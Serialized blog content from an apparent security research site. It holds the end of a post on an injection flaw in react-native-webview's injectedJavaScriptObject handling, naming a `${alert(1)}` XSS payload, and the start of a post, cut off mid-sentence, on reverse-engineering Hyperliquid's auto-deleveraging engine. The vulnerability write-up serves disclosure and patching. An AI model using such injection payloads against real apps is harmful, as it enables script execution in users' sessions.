snippet:",{"type":22,"tag":107,"props":160111,"children":160113},{"className":158349,"code":160112,"language":158351,"meta":7,"style":7},"    private void injectJavascriptObject() {\n      if (getSettings().getJavaScriptEnabled()) {\n        String js = \"(function(){\\n\" +\n          \"    window.\" + JAVASCRIPT_INTERFACE + \" = window.\" + JAVASCRIPT_INTERFACE + \" || {};\\n\" +\n          \"    window.\" + JAVASCRIPT_INTERFACE + \".injectedObjectJson = function () { return \" + (injectedJavaScriptObject == null ? null : (\"`\" + injectedJavaScriptObject + \"`\")) + \"; };\\n\" +\n          \"})();\";\n        evaluateJavascriptWithFallback(js);\n      }\n",[160114],{"type":22,"tag":114,"props":160115,"children":160116},{"__ignoreMap":7},[160117,160137,160166,160200,160255,160360,160372,160385],{"type":22,"tag":118,"props":160118,"children":160119},{"class":120,"line":121},[160120,160124,160128,160133],{"type":22,"tag":118,"props":160121,"children":160122},{"style":146},[160123],{"type":28,"value":72721},{"type":22,"tag":118,"props":160125,"children":160126},{"style":131},[160127],{"type":28,"value":52990},{"type":22,"tag":118,"props":160129,"children":160130},{"style":532},[160131],{"type":28,"value":160132}," injectJavascriptObject",{"type":22,"tag":118,"props":160134,"children":160135},{"style":125},[160136],{"type":28,"value":2215},{"type":22,"tag":118,"props":160138,"children":160139},{"class":120,"line":142},[160140,160144,160148,160153,160157,160162],{"type":22,"tag":118,"props":160141,"children":160142},{"style":1480},[160143],{"type":28,"value":41228},{"type":22,"tag":118,"props":160145,"children":160146},{"style":125},[160147],{"type":28,"value":842},{"type":22,"tag":118,"props":160149,"children":160150},{"style":532},[160151],{"type":28,"value":160152},"getSettings",{"type":22,"tag":118,"props":160154,"children":160155},{"style":125},[160156],{"type":28,"value":32106},{"type":22,"tag":118,"props":160158,"children":160159},{"style":532},[160160],{"type":28,"value":160161},"getJavaScriptEnabled",{"type":22,"tag":118,"props":160163,"children":160164},{"style":125},[160165],{"type":28,"value":93617},{"type":22,"tag":118,"props":160167,"children":160168},{"class":120,"line":177},[160169,160174,160179,160183,160188,160192,160196],{"type":22,"tag":118,"props":160170,"children":160171},{"style":131},[160172],{"type":28,"value":160173},"        String",{"type":22,"tag":118,"props":160175,"children":160176},{"style":204},[160177],{"type":28,"value":160178}," js",{"type":22,"tag":118,"props":160180,"children":160181},{"style":210},[160182],{"type":28,"value":837},{"type":22,"tag":118,"props":160184,"children":160185},{"style":1866},[160186],{"type":28,"value":160187}," \"(function(){",{"type":22,"tag":118,"props":160189,"children":160190},{"style":50313},[160191],{"type":28,"value":50316},{"type":22,"tag":118,"props":160193,"children":160194},{"style":1866},[160195],{"type":28,"value":22027},{"type":22,"tag":118,"props":160197,"children":160198},{"style":210},[160199],{"type":28,"value":11786},{"type":22,"tag":118,"props":160201,"children":160202},{"class":120,"line":195},[160203,160208,160212,160217,160221,160226,160230,160234,160238,160243,160247,160251],{"type":22,"tag":118,"props":160204,"children":160205},{"style":1866},[160206],{"type":28,"value":160207},"          \"    window.\"",{"type":22,"tag":118,"props":160209,"children":160210},{"style":210},[160211],{"type":28,"value":10905},{"type":22,"tag":118,"props":160213,"children":160214},{"style":125},[160215],{"type":28,"value":160216}," JAVASCRIPT_INTERFACE ",{"type":22,"tag":118,"props":160218,"children":160219},{"style":210},[160220],{"type":28,"value":3220},{"type":22,"tag":118,"props":160222,"children":160223},{"style":1866},[160224],{"type":28,"value":160225}," \" = window.\"",{"type":22,"tag":118,"props":160227,"children":160228},{"style":210},[160229],{"type":28,"value":10905},{"type":22,"tag":118,"props":160231,"children":160232},{"style":125},[160233],{"type":28,"value":160216},{"type":22,"tag":118,"props":160235,"children":160236},{"style":210},[160237],{"type":28,"value":3220},{"type":22,"tag":118,"props":160239,"children":160240},{"style":1866},[160241],{"type":28,"value":160242}," \" || {};",{"type":22,"tag":118,"props":160244,"children":160245},{"style":50313},[160246],{"type":28,"value":50316},{"type":22,"tag":118,"props":160248,"children":160249},{"style":1866},[160250],{"type":28,"value":22027},{"type":22,"tag":118,"props":160252,"children":160253},{"style":210},[160254],{"type":28,"value":11786},{"type":22,"tag":118,"props":160256,"children":160257},{"class":120,"line":244},[160258,160262,160266,160270,160274,160279,160283,160288,160292,160296,160300,160304,160308,160312,160317,160321,160326,160330,160335,160339,160343,160348,160352,160356],{"type":22,"tag":118,"props":160259,"children":160260},{"style":1866},[160261],{"type":28,"value":160207},{"type":22,"tag":118,"props":160263,"children":160264},{"style":210},[160265],{"type":28,"value":10905},{"type":22,"tag":118,"props":160267,"children":160268},{"style":125},[160269],{"type":28,"value":160216},{"type":22,"tag":118,"props":160271,"children":160272},{"style":210},[160273],{"type":28,"value":3220},{"type":22,"tag":118,"props":160275,"children":160276},{"style":1866},[160277],{"type":28,"value":160278}," \".injectedObjectJson = function () { return \"",{"type":22,"tag":118,"props":160280,"children":160281},{"style":210},[160282],{"type":28,"value":10905},{"type":22,"tag":118,"props":160284,"children":160285},{"style":125},[160286],{"type":28,"value":160287}," (injectedJavaScriptObject ",{"type":22,"tag":118,"props":160289,"children":160290},{"style":210},[160291],{"type":28,"value":302},{"type":22,"tag":118,"props":160293,"children":160294},{"style":146},[160295],{"type":28,"value":72208},{"type":22,"tag":118,"props":160297,"children":160298},{"style":1480},[160299],{"type":28,"value":99637},{"type":22,"tag":118,"props":160301,"children":160302},{"style":146},[160303],{"type":28,"value":72208},{"type":22,"tag":118,"props":160305,"children":160306},{"style":1480},[160307],{"type":28,"value":37056},{"type":22,"tag":118,"props":160309,"children":160310},{"style":125},[160311],{"type":28,"value":842},{"type":22,"tag":118,"props":160313,"children":160314},{"style":1866},[160315],{"type":28,"value":160316},"\"`\"",{"type":22,"tag":118,"props":160318,"children":160319},{"style":210},[160320],{"type":28,"value":10905},{"type":22,"tag":118,"props":160322,"children":160323},{"style":125},[160324],{"type":28,"value":160325}," injectedJavaScriptObject ",{"type":22,"tag":118,"props":160327,"children":160328},{"style":210},[160329],{"type":28,"value":3220},{"type":22,"tag":118,"props":160331,"children":160332},{"style":1866},[160333],{"type":28,"value":160334}," \"`\"",{"type":22,"tag":118,"props":160336,"children":160337},{"style":125},[160338],{"type":28,"value":10838},{"type":22,"tag":118,"props":160340,"children":160341},{"style":210},[160342],{"type":28,"value":3220},{"type":22,"tag":118,"props":160344,"children":160345},{"style":1866},[160346],{"type":28,"value":160347}," \"; };",{"type":22,"tag":118,"props":160349,"children":160350},{"style":50313},[160351],{"type":28,"value":50316},{"type":22,"tag":118,"props":160353,"children":160354},{"style":1866},[160355],{"type":28,"value":22027},{"type":22,"tag":118,"props":160357,"children":160358},{"style":210},[160359],{"type":28,"value":11786},{"type":22,"tag":118,"props":160361,"children":160362},{"class":120,"line":253},[160363,160368],{"type":22,"tag":118,"props":160364,"children":160365},{"style":1866},[160366],{"type":28,"value":160367},"          \"})();\"",{"type":22,"tag":118,"props":160369,"children":160370},{"style":125},[160371],{"type":28,"value":801},{"type":22,"tag":118,"props":160373,"children":160374},{"class":120,"line":263},[160375,160380],{"type":22,"tag":118,"props":160376,"children":160377},{"style":532},[160378],{"type":28,"value":160379},"        evaluateJavascriptWithFallback",{"type":22,"tag":118,"props":160381,"children":160382},{"style":125},[160383],{"type":28,"value":160384},"(js);\n",{"type":22,"tag":118,"props":160386,"children":160387},{"class":120,"line":318},[160388],{"type":22,"tag":118,"props":160389,"children":160390},{"style":125},[160391],{"type":28,"value":14660},{"type":22,"tag":31,"props":160393,"children":160394},{},[160395,160397,160403,160405,160410,160412,160418],{"type":28,"value":160396},"It basically injects a javascript code with the ",{"type":22,"tag":114,"props":160398,"children":160400},{"className":160399},[],[160401],{"type":28,"value":160402},"injectedJavascriptObject",{"type":28,"value":160404}," wrapped by backticks (`). If you are familiar with javascript, you can immediately see that this enables code injection if we partially control ",{"type":22,"tag":114,"props":160406,"children":160408},{"className":160407},[],[160409],{"type":28,"value":160402},{"type":28,"value":160411},". If we control a single attribute we can inject a payload like ",{"type":22,"tag":114,"props":160413,"children":160415},{"className":160414},[],[160416],{"type":28,"value":160417},"${alert(1)}",{"type":28,"value":160419}," and achieve XSS in the context of the loaded page.",{"type":22,"tag":31,"props":160421,"children":160422},{},[160423,160425,160432],{"type":28,"value":160424},"Then, when scrolling through the open PRs, we saw that there is one that fixes exactly this problem, though we were not the first ones to find it (that's ok, it is a pretty easy bug to find). Here is the ",{"type":22,"tag":42,"props":160426,"children":160429},{"href":160427,"rel":160428},"https://github.com/react-native-webview/react-native-webview/pull/3929/changes",[46],[160430],{"type":28,"value":160431},"PR with the report and fix",{"type":28,"value":292},{"type":22,"tag":31,"props":160434,"children":160435},{},[160436],{"type":28,"value":160437},"The vulnerability is still in the code since the PR has not been merged yet and, since the PR is public, everyone can see the bug. This is indeed the library's fault, but tells us that another thing to keep an eye on is unmerged PRs that fix vulnerabilities. Ideally, an open source library should have a security policy with a contact method so security researchers can report vulnerabilities without making them public. This is because once it is public, more people acknowledge the bug and it is more likely to be exploited in the wild.",{"type":22,"tag":31,"props":160439,"children":160440},{},[160441,160443,160449],{"type":28,"value":160442},"If you want to see if your application is vulnerable, you can simply check if you are injecting ",{"type":22,"tag":114,"props":160444,"children":160446},{"className":160445},[],[160447],{"type":28,"value":160448},"injectedJavaScriptObject",{"type":28,"value":160450}," with some user-provided input, if so, it is recommended to manually merge the PR and rebuild your application with the patched library.",{"type":22,"tag":1289,"props":160452,"children":160453},{"id":30872},[160454],{"type":28,"value":20914},{"type":22,"tag":31,"props":160456,"children":160457},{},[160458],{"type":28,"value":160459},"Most WebView articles focus on classic URL spoofing. In wallet apps, the more interesting problems usually come from capability inheritance: a WebView quietly benefits from permissions granted to the host app and small integration assumptions turn into serious impact.",{"type":22,"tag":4880,"props":160461,"children":160462},{},[160463],{"type":28,"value":4884},{"title":7,"searchDepth":142,"depth":142,"links":160465},[160466,160470,160473,160474],{"id":158189,"depth":142,"text":158192,"children":160467},[160468,160469],{"id":158200,"depth":177,"text":158203},{"id":158275,"depth":177,"text":158278},{"id":158308,"depth":142,"text":158311,"children":160471},[160472],{"id":158498,"depth":177,"text":158501},{"id":160018,"depth":142,"text":160021},{"id":160093,"depth":142,"text":160096,"children":160475},[160476],{"id":30872,"depth":177,"text":20914},"content:blog:2026-06-18-goldmine-of-insecure-webview-integrations.md","blog/2026-06-18-goldmine-of-insecure-webview-integrations.md","blog/2026-06-18-goldmine-of-insecure-webview-integrations",{"_path":160481,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"title":160482,"description":160483,"date":160484,"author":160485,"image":160486,"isFeatured":15,"onBlogPage":15,"tags":160490,"hideToc":15,"body":160494,"_type":4896,"_id":167133,"_source":4898,"_file":167134,"_stem":167135,"_extension":4901},"/blog/2026-06-22-hyperliquid-risk-engine","Auto reverse-engineering the Hyperliquid risk engine, with some agentic help","Perps allow traders to leverage beyond their collateral, until the market turns abruptly and losses are clawed back. We auto-reverse engineer Hyperliquid's risk engine to show how it ranks and deleverages winning users under the solvency–fairness–revenue trilemma.","2026-06-22T12:00:00.000Z","renato",{"src":160487,"width":160488,"height":160489},"/posts/hyperliquid-risk-engine/title.png",1456,816,[160491,160492,160493],"hyperliquid","reverse-engineering","defi",{"type":19,"children":160495,"toc":167105},[160496,160502,160510,160515,160520,160525,160537,160542,160555,160574,160580,160592,160605,160610,160641,160646,160659,160664,160855,160861,160866,160878,160884,160889,160895,160908,160942,160947,160952,160964,160970,160990,160998,161011,161017,161028,161034,161046,161051,161057,161077,161085,161091,161125,161129,161165,161170,161175,161180,161193,161230,161235,161249,161255,161260,161286,161294,161299,161327,161332,161337,161675,161680,161685,161705,161732,161737,161750,161762,161767,161772,161778,161783,161788,161802,161807,161813,161841,161878,161889,161893,161898,161903,161909,162075,162110,162115,162121,162127,162316,162329,162334,162340,162361,162366,162372,162377,162382,162394,162399,162404,162410,162415,162420,162426,162432,162445,162478,162483,165059,165327,165332,166662,166667,166672,166684,166775,166787,166792,166798,166803,166811,166816,166824,166830,166864,166875,166883,166889,166895,166900,166908,166913,166918,166926,166938,166944,166949,166955,166966,166971,166977,166982,166987,166993,166998,167001,167006,167011,167017,167022,167034,167039,167044],{"type":22,"tag":23,"props":160497,"children":160499},{"id":160498},"perpetuals",[160500],{"type":28,"value":160501},"Perpetuals",{"type":22,"tag":1269,"props":160503,"children":160504},{},[160505],{"type":22,"tag":31,"props":160506,"children":160507},{},[160508],{"type":28,"value":160509},"A perpetual is a bet on a price, usually leveraged, settled in stablecoins, with no expiry: a row in the exchange's ledger, backed by margin (a fraction of the position's notional), where one side's gains are the other side's losses on the same book.",{"type":22,"tag":31,"props":160511,"children":160512},{},[160513],{"type":28,"value":160514},"What does that even have to do with reverse engineering?",{"type":22,"tag":23,"props":160516,"children":160517},{"id":160491},[160518],{"type":28,"value":160519},"Hyperliquid",{"type":22,"tag":31,"props":160521,"children":160522},{},[160523],{"type":28,"value":160524},"Hyperliquid is a decentralized perpetuals exchange. It runs on its own\nL1, released publicly for anybody to run, but closed source.\nThe order book and the risk engine live on-chain, and thus inside of the L1 node binary, sitting between users and the shared\nbalance sheet they're all betting against.",{"type":22,"tag":31,"props":160526,"children":160527},{},[160528,160530,160535],{"type":28,"value":160529},"The node is tasked with a ",{"type":22,"tag":4764,"props":160531,"children":160532},{},[160533],{"type":28,"value":160534},"very hard problem",{"type":28,"value":160536},": keeping the books balanced\nwhen leverage makes it possible for one side of every trade to lose more than their margin covers.",{"type":22,"tag":31,"props":160538,"children":160539},{},[160540],{"type":28,"value":160541},"Implementing a correct algorithm that solves this question is exactly what keeps the exchange solvent: this is also why peering into the actual implementation is very intriguing from a security standpoint.",{"type":22,"tag":31,"props":160543,"children":160544},{},[160545,160547,160553],{"type":28,"value":160546},"Beyond that, the ",{"type":22,"tag":114,"props":160548,"children":160550},{"className":160549},[],[160551],{"type":28,"value":160552},"hl-node",{"type":28,"value":160554}," binary also offers an additional technical thrill: it is written in Rust, which is notoriously hard to reverse engineer.",{"type":22,"tag":31,"props":160556,"children":160557},{},[160558,160560,160565,160567,160572],{"type":28,"value":160559},"Armed with some curiosity, a good amount of ",{"type":22,"tag":4764,"props":160561,"children":160562},{},[160563],{"type":28,"value":160564},"inference",{"type":28,"value":160566},", and the right tooling, we'll take a deep dive using an ",{"type":22,"tag":4764,"props":160568,"children":160569},{},[160570],{"type":28,"value":160571},"interactive interface",{"type":28,"value":160573},", which will hopefully make the reconstructed code easier to understand for anybody, while also giving reverse engineers something to learn and a fun tool to play around with.",{"type":22,"tag":23,"props":160575,"children":160577},{"id":160576},"the-million-dollar-question",[160578],{"type":28,"value":160579},"The Million Dollar Question",{"type":22,"tag":31,"props":160581,"children":160582},{},[160583,160585,160590],{"type":28,"value":160584},"Let's say a terrible trader opens a ",{"type":22,"tag":4764,"props":160586,"children":160587},{},[160588],{"type":28,"value":160589},"50x",{"type":28,"value":160591}," leveraged position on Hyperliquid. How does the exchange avoid losing money from their eventual downfall?",{"type":22,"tag":31,"props":160593,"children":160594},{},[160595,160597,160603],{"type":28,"value":160596},"When the market turns against them, the first check they would encounter is the traditional liquidation: their position is automatically put up on the market on the opposite side of the book. This happens whenever the equity of the position drops below the maintenance margin, which is spelled out exactly in the ",{"type":22,"tag":114,"props":160598,"children":160600},{"className":160599},[],[160601],{"type":28,"value":160602},"compute_margin_requirement_by_mode",{"type":28,"value":160604}," function.",{"type":22,"tag":31,"props":160606,"children":160607},{},[160608],{"type":28,"value":160609},"Let's consider the simplest case, that being isolated positions, which are processed in this branch:",{"type":22,"tag":160611,"props":160612,"children":160613},"tip",{},[160614],{"type":22,"tag":31,"props":160615,"children":160616},{},[160617,160619,160624,160626,160633,160635,160640],{"type":28,"value":160618},"To get a clearer view of the logic of reconstructed snippets, click on them to ",{"type":22,"tag":4764,"props":160620,"children":160621},{},[160622],{"type":28,"value":160623},"click through",{"type":28,"value":160625}," each action performed by ",{"type":22,"tag":42,"props":160627,"children":160630},{"href":160628,"rel":160629},"https://github.com/renato-osec/patina-research",[46],[160631],{"type":28,"value":160632},"our Rust reverse engineering agent",{"type":28,"value":160634},". Return to the regular view by clicking ",{"type":22,"tag":114,"props":160636,"children":160638},{"className":160637},[],[160639],{"type":28,"value":7997},{"type":28,"value":292},{"type":22,"tag":160642,"props":160643,"children":160645},"bndb-viewer-embed",{"addr":160644,"line-start":6026,"line-end":136150},"0x555556bb4d20",[],{"type":22,"tag":31,"props":160647,"children":160648},{},[160649,160651,160657],{"type":28,"value":160650},"The view here displays the reconstructed source code, through various stages starting from raw pseudo-C, with several verified agentic \"actions\" applied to it by our Rust decompiler. For example, you can see how some tentative Rust types, like ",{"type":22,"tag":114,"props":160652,"children":160654},{"className":160653},[],[160655],{"type":28,"value":160656},"OptionUnitQty",{"type":28,"value":160658},", are recovered: based on our harness, we can be sure that those are compatible with the original source types.",{"type":22,"tag":31,"props":160660,"children":160661},{},[160662],{"type":28,"value":160663},"As you can see, the position's equity is its isolated margin plus its own PnL, and the threshold reduces to:",{"type":22,"tag":107,"props":160665,"children":160666},{},[160667],{"type":22,"tag":114,"props":160668,"children":160671},{"className":160669},[5995,160670],"math-display",[160672],{"type":22,"tag":118,"props":160673,"children":160676},{"className":160674},[160675],"katex-display",[160677],{"type":22,"tag":118,"props":160678,"children":160680},{"className":160679},[6001],[160681],{"type":22,"tag":118,"props":160682,"children":160684},{"className":160683,"ariaHidden":6007},[6006],[160685,160716],{"type":22,"tag":118,"props":160686,"children":160688},{"className":160687},[6012],[160689,160693,160703,160707,160712],{"type":22,"tag":118,"props":160690,"children":160692},{"className":160691,"style":96056},[6017],[],{"type":22,"tag":118,"props":160694,"children":160696},{"className":160695},[6023,28],[160697],{"type":22,"tag":118,"props":160698,"children":160700},{"className":160699},[6023],[160701],{"type":28,"value":160702},"liq_equity",{"type":22,"tag":118,"props":160704,"children":160706},{"className":160705,"style":6202},[6104],[],{"type":22,"tag":118,"props":160708,"children":160710},{"className":160709},[6207],[160711],{"type":28,"value":282},{"type":22,"tag":118,"props":160713,"children":160715},{"className":160714,"style":6202},[6104],[],{"type":22,"tag":118,"props":160717,"children":160719},{"className":160718},[6012],[160720,160725],{"type":22,"tag":118,"props":160721,"children":160724},{"className":160722,"style":160723},[6017],"height:2.3074em;vertical-align:-0.8804em;",[],{"type":22,"tag":118,"props":160726,"children":160728},{"className":160727},[6023],[160729,160733,160851],{"type":22,"tag":118,"props":160730,"children":160732},{"className":160731},[23671,115161],[],{"type":22,"tag":118,"props":160734,"children":160736},{"className":160735},[115166],[160737],{"type":22,"tag":118,"props":160738,"children":160740},{"className":160739},[6045,23596],[160741,160839],{"type":22,"tag":118,"props":160742,"children":160744},{"className":160743},[6050],[160745,160834],{"type":22,"tag":118,"props":160746,"children":160749},{"className":160747,"style":160748},[6055],"height:1.427em;",[160750,160790,160801],{"type":22,"tag":118,"props":160751,"children":160753},{"style":160752},"top:-2.314em;",[160754,160758],{"type":22,"tag":118,"props":160755,"children":160757},{"className":160756,"style":113814},[6064],[],{"type":22,"tag":118,"props":160759,"children":160761},{"className":160760},[6023],[160762,160767,160771,160776,160780],{"type":22,"tag":118,"props":160763,"children":160765},{"className":160764},[6023],[160766],{"type":28,"value":5147},{"type":22,"tag":118,"props":160768,"children":160770},{"className":160769,"style":6105},[6104],[],{"type":22,"tag":118,"props":160772,"children":160774},{"className":160773},[6110],[160775],{"type":28,"value":112905},{"type":22,"tag":118,"props":160777,"children":160779},{"className":160778,"style":6105},[6104],[],{"type":22,"tag":118,"props":160781,"children":160783},{"className":160782},[6023,28],[160784],{"type":22,"tag":118,"props":160785,"children":160787},{"className":160786},[6023],[160788],{"type":28,"value":160789},"leverage",{"type":22,"tag":118,"props":160791,"children":160792},{"style":115216},[160793,160797],{"type":22,"tag":118,"props":160794,"children":160796},{"className":160795,"style":113814},[6064],[],{"type":22,"tag":118,"props":160798,"children":160800},{"className":160799,"style":115226},[115225],[],{"type":22,"tag":118,"props":160802,"children":160804},{"style":160803},"top:-3.677em;",[160805,160809],{"type":22,"tag":118,"props":160806,"children":160808},{"className":160807,"style":113814},[6064],[],{"type":22,"tag":118,"props":160810,"children":160812},{"className":160811},[6023],[160813,160819,160829],{"type":22,"tag":118,"props":160814,"children":160816},{"className":160815},[6023],[160817],{"type":28,"value":160818},"∣",{"type":22,"tag":118,"props":160820,"children":160822},{"className":160821},[6023,28],[160823],{"type":22,"tag":118,"props":160824,"children":160826},{"className":160825},[6023],[160827],{"type":28,"value":160828},"notional",{"type":22,"tag":118,"props":160830,"children":160832},{"className":160831},[6023],[160833],{"type":28,"value":160818},{"type":22,"tag":118,"props":160835,"children":160837},{"className":160836},[23699],[160838],{"type":28,"value":23702},{"type":22,"tag":118,"props":160840,"children":160842},{"className":160841},[6050],[160843],{"type":22,"tag":118,"props":160844,"children":160847},{"className":160845,"style":160846},[6055],"height:0.8804em;",[160848],{"type":22,"tag":118,"props":160849,"children":160850},{},[],{"type":22,"tag":118,"props":160852,"children":160854},{"className":160853},[23693,115161],[],{"type":22,"tag":23,"props":160856,"children":160858},{"id":160857},"what-if-nobody-wants-to-buy-the-position",[160859],{"type":28,"value":160860},"What If Nobody Wants to Buy the Position?",{"type":22,"tag":31,"props":160862,"children":160863},{},[160864],{"type":28,"value":160865},"The market order from the previous section is just a regular order, and it still needs somebody on the other side of the book to fill it.\nIf the book is thin or the move was violent enough that every passive bid got swept, only part of it (or none) gets filled and equity will possibly keep on going down.",{"type":22,"tag":31,"props":160867,"children":160868},{},[160869,160871,160876],{"type":28,"value":160870},"When that happens, the exchange is basically left with a ",{"type":22,"tag":4764,"props":160872,"children":160873},{},[160874],{"type":28,"value":160875},"hot potato",{"type":28,"value":160877}," to get rid of: what should it even do with the debt?",{"type":22,"tag":37313,"props":160879,"children":160881},{"id":160880},"the-risk-engine",[160882],{"type":28,"value":160883},"The Risk Engine",{"type":22,"tag":31,"props":160885,"children":160886},{},[160887],{"type":28,"value":160888},"And now we circle back to the risk engine: in order to keep all of these terrible traders from driving the system into ruin, we need some automatic way to prevent and clear bad debt.",{"type":22,"tag":23,"props":160890,"children":160892},{"id":160891},"clearing-up-bad-debt",[160893],{"type":28,"value":160894},"Clearing Up Bad Debt",{"type":22,"tag":31,"props":160896,"children":160897},{},[160898,160899,160906],{"type":28,"value":2743},{"type":22,"tag":42,"props":160900,"children":160903},{"href":160901,"rel":160902},"https://hyperliquid.gitbook.io/hyperliquid-docs/trading/auto-deleveraging",[46],[160904],{"type":28,"value":160905},"Hyperliquid docs",{"type":28,"value":160907}," explain that positions below 2/3 maintenance margin are backstop-liquidated into the HLP liquidator vault. When even that can't keep the book solvent, auto-deleveraging closes the position against opposing traders. What does that even mean?",{"type":22,"tag":31,"props":160909,"children":160910},{},[160911,160913,160924,160926,160932,160934,160940],{"type":28,"value":160912},"To get a better idea of what's going on here, we turn to the binary itself and trace the actual logic. A simple testnet sync gives us a lot of context: within the node's ABCI state, we can see a pretty complex structure named ",{"type":22,"tag":42,"props":160914,"children":160917},{"href":160915,"rel":160916},"https://hyperliquid.gitbook.io/hyperliquid-docs/hypercore/clearinghouse",[46],[160918],{"type":22,"tag":114,"props":160919,"children":160921},{"className":160920},[],[160922],{"type":28,"value":160923},"Clearinghouse",{"type":28,"value":160925},", a struct containing all liquidation-related info, nested within a bigger ",{"type":22,"tag":114,"props":160927,"children":160929},{"className":160928},[],[160930],{"type":28,"value":160931},"Exchange",{"type":28,"value":160933}," data structure. This is an example of what it might hold when serialized as ",{"type":22,"tag":114,"props":160935,"children":160937},{"className":160936},[],[160938],{"type":28,"value":160939},"MessagePack",{"type":28,"value":160941}," at runtime.",{"type":22,"tag":31,"props":160943,"children":160944},{},[160945],{"type":28,"value":160946},"This data will come in handy both for us and the agent.",{"type":22,"tag":160948,"props":160949,"children":160951},"file-download",{"path":160950},"/posts/hyperliquid-risk-engine/clearinghouse.json",[],{"type":22,"tag":31,"props":160953,"children":160954},{},[160955,160957,160962],{"type":28,"value":160956},"Now, when does the risk engine actually check positions? We can answer that question by playing around with xrefs starting from the known field strings in ",{"type":22,"tag":114,"props":160958,"children":160960},{"className":160959},[],[160961],{"type":28,"value":160923},{"type":28,"value":160963},". Some renaming later, we can infer something like this:",{"type":22,"tag":160642,"props":160965,"children":160969},{"source":160966,"target":160967,"direction":160968},"sub_555556262490","clearinghouse_adl_orchestrator","forward",[],{"type":22,"tag":31,"props":160971,"children":160972},{},[160973,160975,160980,160982,160988],{"type":28,"value":160974},"We have one huge function handling all clearinghouse operations, which we call ",{"type":22,"tag":114,"props":160976,"children":160978},{"className":160977},[],[160979],{"type":28,"value":160967},{"type":28,"value":160981},". It is invoked at the end of each block by a top-level method (called indirectly elsewhere, most likely a trait method) that we call ",{"type":22,"tag":114,"props":160983,"children":160985},{"className":160984},[],[160986],{"type":28,"value":160987},"exchange_end_block",{"type":28,"value":160989},". So, at the end of each block we run some checks.",{"type":22,"tag":160611,"props":160991,"children":160992},{},[160993],{"type":22,"tag":31,"props":160994,"children":160995},{},[160996],{"type":28,"value":160997},"Click on any address or line on the left side to get a detailed view of the decompilation or reconstructed source.",{"type":22,"tag":31,"props":160999,"children":161000},{},[161001,161003,161009],{"type":28,"value":161002},"ADL is meant as an emergency measure; unlike liquidations, it is not always operational. Note the branch on the recovered ",{"type":22,"tag":114,"props":161004,"children":161006},{"className":161005},[],[161007],{"type":28,"value":161008},"clearinghouse.perform_auto_deleveraging",{"type":28,"value":161010}," flag.",{"type":22,"tag":160642,"props":161012,"children":161016},{"addr":161013,"line-start":161014,"line-end":161015},"0x555556ac3850","3290","3301",[],{"type":22,"tag":31,"props":161018,"children":161019},{},[161020,161022,161027],{"type":28,"value":161021},"Most importantly, for it to act it must actually be needed. What does that mean according to the ",{"type":22,"tag":114,"props":161023,"children":161025},{"className":161024},[],[161026],{"type":28,"value":160923},{"type":28,"value":796},{"type":22,"tag":1289,"props":161029,"children":161031},{"id":161030},"threshold-condition",[161032],{"type":28,"value":161033},"Threshold Condition",{"type":22,"tag":31,"props":161035,"children":161036},{},[161037,161039,161044],{"type":28,"value":161038},"The natural connection between liquidations and ADL is ",{"type":22,"tag":4764,"props":161040,"children":161041},{},[161042],{"type":28,"value":161043},"shortfall",{"type":28,"value":161045},": by how much a position, or the entire system (!), is underwater.",{"type":22,"tag":31,"props":161047,"children":161048},{},[161049],{"type":28,"value":161050},"If we could liquidate every position in time against willing buyers of the debt, there would be no systemic shortfall; ADL is triggered whenever that's not the case.",{"type":22,"tag":1899,"props":161052,"children":161054},{"id":161053},"who-is-underwater",[161055],{"type":28,"value":161056},"Who Is Underwater?",{"type":22,"tag":31,"props":161058,"children":161059},{},[161060,161062,161067,161069,161075],{"type":28,"value":161061},"In order to determine that shortfall (or sum of bad debt), we process a useful tree of losing positions, built at the end of each block and passed to the ",{"type":22,"tag":114,"props":161063,"children":161065},{"className":161064},[],[161066],{"type":28,"value":160967},{"type":28,"value":161068},", starting from all user positions, which are stored in ",{"type":22,"tag":114,"props":161070,"children":161072},{"className":161071},[],[161073],{"type":28,"value":161074},"clearinghouse.user_states",{"type":28,"value":161076},", as we can also see from the serialization.",{"type":22,"tag":160611,"props":161078,"children":161079},{},[161080],{"type":22,"tag":31,"props":161081,"children":161082},{},[161083],{"type":28,"value":161084},"A graph can also branch, you know? Click around to view all possible paths from one function to another.",{"type":22,"tag":160642,"props":161086,"children":161090},{"source":161087,"target":160987,"direction":161088,"path":161089},"adl_init_user_position_iterators","backward","exchange_end_block,build_adl_candidate_set,adl_init_user_position_iterators",[],{"type":22,"tag":31,"props":161092,"children":161093},{},[161094,161095,161100,161102,161108,161110,161116,161118,161124],{"type":28,"value":2743},{"type":22,"tag":114,"props":161096,"children":161098},{"className":161097},[],[161099],{"type":28,"value":161087},{"type":28,"value":161101}," essentially turns that into an ",{"type":22,"tag":114,"props":161103,"children":161105},{"className":161104},[],[161106],{"type":28,"value":161107},"Iter",{"type":28,"value":161109},", then, inside of ",{"type":22,"tag":114,"props":161111,"children":161113},{"className":161112},[],[161114],{"type":28,"value":161115},"build_adl_candidate_set",{"type":28,"value":161117}," each entry is accounted either as a cross or isolated position, depending on the value of the ",{"type":22,"tag":114,"props":161119,"children":161121},{"className":161120},[],[161122],{"type":28,"value":161123},"AdlIterEntry",{"type":28,"value":60267},{"type":22,"tag":160642,"props":161126,"children":161128},{"type-name":161127},"AdlIterContext",[],{"type":22,"tag":31,"props":161130,"children":161131},{},[161132,161134,161140,161142,161148,161150,161156,161158,161163],{"type":28,"value":161133},"Note that in storage, ",{"type":22,"tag":114,"props":161135,"children":161137},{"className":161136},[],[161138],{"type":28,"value":161139},"Isolated",{"type":28,"value":161141}," positions have their own independent ",{"type":22,"tag":114,"props":161143,"children":161145},{"className":161144},[],[161146],{"type":28,"value":161147},"Entry",{"type":28,"value":161149}," in the position iterators, and ",{"type":22,"tag":114,"props":161151,"children":161153},{"className":161152},[],[161154],{"type":28,"value":161155},"Cross",{"type":28,"value":161157}," positions have a single common ",{"type":22,"tag":114,"props":161159,"children":161161},{"className":161160},[],[161162],{"type":28,"value":161147},{"type":28,"value":161164},", which will be spread across several perps. We will see many more branches to handle the two kinds of positions.",{"type":22,"tag":160642,"props":161166,"children":161169},{"addr":161167,"line-start":46193,"line-end":161168},"0x555556266b10","163",[],{"type":22,"tag":31,"props":161171,"children":161172},{},[161173],{"type":28,"value":161174},"Ultimately, we get an iterator of underwater users filtered with the following code path, meaning they couldn't be liquidated by the end of the block according to the earlier threshold.",{"type":22,"tag":160642,"props":161176,"children":161179},{"addr":161013,"line-start":161177,"line-end":161178},"506","527",[],{"type":22,"tag":31,"props":161181,"children":161182},{},[161183,161185],{"type":28,"value":161184},"After iterating over users, if the total losses are less than a predefined constant (hardcoded to $5M in the testnet state), we spare cross-margin positions and log 